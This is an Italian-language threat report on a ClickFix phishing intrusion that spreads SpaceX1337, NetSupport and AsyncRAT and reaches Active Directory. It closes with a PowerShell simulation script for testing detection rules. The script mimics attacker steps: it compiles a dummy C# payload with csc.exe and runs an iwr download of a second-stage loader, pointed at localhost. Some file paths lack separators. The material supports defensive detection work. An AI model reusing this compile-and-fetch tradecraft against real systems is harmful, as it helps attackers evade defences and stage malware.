SpaceX1337 ClickFix porta al compromesso AD con accesso alla tastiera

Sintesi

Un avversario ha utilizzato un’esca di phishing ClickFix per distribuire il RAT SpaceX1337, seguito da un’infezione multistadio che coinvolge RAT di base come NetSupport, AsyncRAT e Remus. L’intrusione è progredita dal furto di credenziali automatizzato ad attività interattiva a tastiera contro Active Directory. L’attaccante ha tentato infine il movimento laterale verso un controller di dominio e l’attacco tramite inserimento di credenziali contro un portale VPN.

Indagine

L’intrusione è stata catturata all’interno di una honeynet Active Directory completamente strumentata, fornendo visibilità end-to-end tramite la telemetria di EDR, Zeek e Suricata. I ricercatori hanno tracciato l’attività dal primo downloader PowerShell attraverso una vasta ricognizione ADSI/LDAP e movimento laterale tramite SMB. L’indagine ha chiaramente identificato la transizione dall’esecuzione automatica di malware all’interazione diretta da parte di un operatore umano.

Mitigazione

Le organizzazioni dovrebbero imporre controlli rigorosi sull’esecuzione di PowerShell e monitorare relazioni genitore-figlio di processi sospetti, inclusi explorer.exe che genera PowerShell. I team di sicurezza dovrebbero individuare la compilazione sul computer host tramite csc.exe e l’abuso di LOLBins come certutil or bitsadmin per i download esterni. Active Directory dovrebbe essere inoltre rafforzata rimuovendo dati sensibili dagli attributi LDAP e monitorando query LDAP anomale.

Risposta

Se viene rilevata attività sospetta, i soccorritori degli incidenti dovrebbero isolare gli endpoint compromessi e revocare le credenziali eventualmente compromesse degli account di servizio e degli amministratori di dominio. Le indagini dovrebbero prioritizzare l’identificazione di più famiglie di RAT e la verifica di attività programmate non autorizzate o modifiche al registro. Anche i log VPN dovrebbero essere esaminati per tentativi di inserimento di credenziali provenienti da infrastrutture note come dannose.

Esecuzione della Simulazione

Prerequisito: Il controllo pre-volo di telemetria e baseline deve avere esito positivo.

Ragioni: Questa sezione dettaglia l’esecuzione precisa della tecnica dell’avversario (TTP) progettata per innescare la regola di rilevamento. I comandi e il racconto DEVONO riflettere direttamente i TTP identificati e mirano a generare l’esatta telemetria prevista dalla logica di rilevamento. Esempi astratti o non correlati porteranno a diagnosi errate.

• Narrativa e Comandi di Attacco: Un avversario ha ottenuto l’accesso iniziale tramite un link di phishing. Per evitare di portare su disco un .exe maligno noto, lasciano cadere un piccolo .cs file sorgente. Successivamente invocano csc.exe per compilare questa sorgente in un eseguibile Windows funzionale (svc.exe) situato nella %TEMP% directory. Immediatamente dopo la compilazione, l’attaccante utilizza PowerShell per recuperare un loader di seconda fase da un server C2 remoto (simulato tramite un listener locale) utilizzando l’alias iwr (Invoke-WebRequest), salvandolo nella cartella temp per completare il processo di staging.

• Script di Test di Regressione:

  # 1. Creare un file sorgente dummy C# per simulare la sorgente di AdaptixC2
  $csFile = "$env:TEMPsvc.cs"
  $exeFile = "$env:TEMPsvc.exe"
  $sourceCode = @"
  using System;
  namespace MimicC2 {
      class Program {
          static void Main() { Console.WriteLine("Simulated Beacon"); }
      }
  }
  "@
  $sourceCode | Out-File -FilePath $csFile -Encoding ascii
  
  # 2. Simulare la compilazione csc.exe (Triggers selection_csc)
  # Nota: Utilizziamo le esatte bandiere specificate nella logica di rilevamento
  Start-Process "csc.exe" -ArgumentList "/target:winexe", "/out:$env:TEMPsvc.exe", "$env:TEMPsvc.cs" -Wait
  
  # 3. Simulare il download PowerShell (Triggers selection_powershell)
  # Usiamo 'iwr' e lo specifico percorso OutFile per corrispondere alla logica
  # Utilizzando un URL inesistente per evitare traffico di rete effettivo, ma la riga di comando corrisponderà
  powershell.exe -Command "iwr -Uri 'http://127.0.0.1' -OutFile `"$env:TEMPx.ps1`""

• Comandi di Pulizia:

  Remove-Item -Path "$env:TEMPsvc.cs" -Force -ErrorAction SilentlyContinue
  Remove-Item -Path "$env:TEMPsvc.exe" -Force -ErrorAction SilentlyContinue
  Remove-Item -Path "$env:TEMPx.ps1" -Force -ErrorAction SilentlyContinue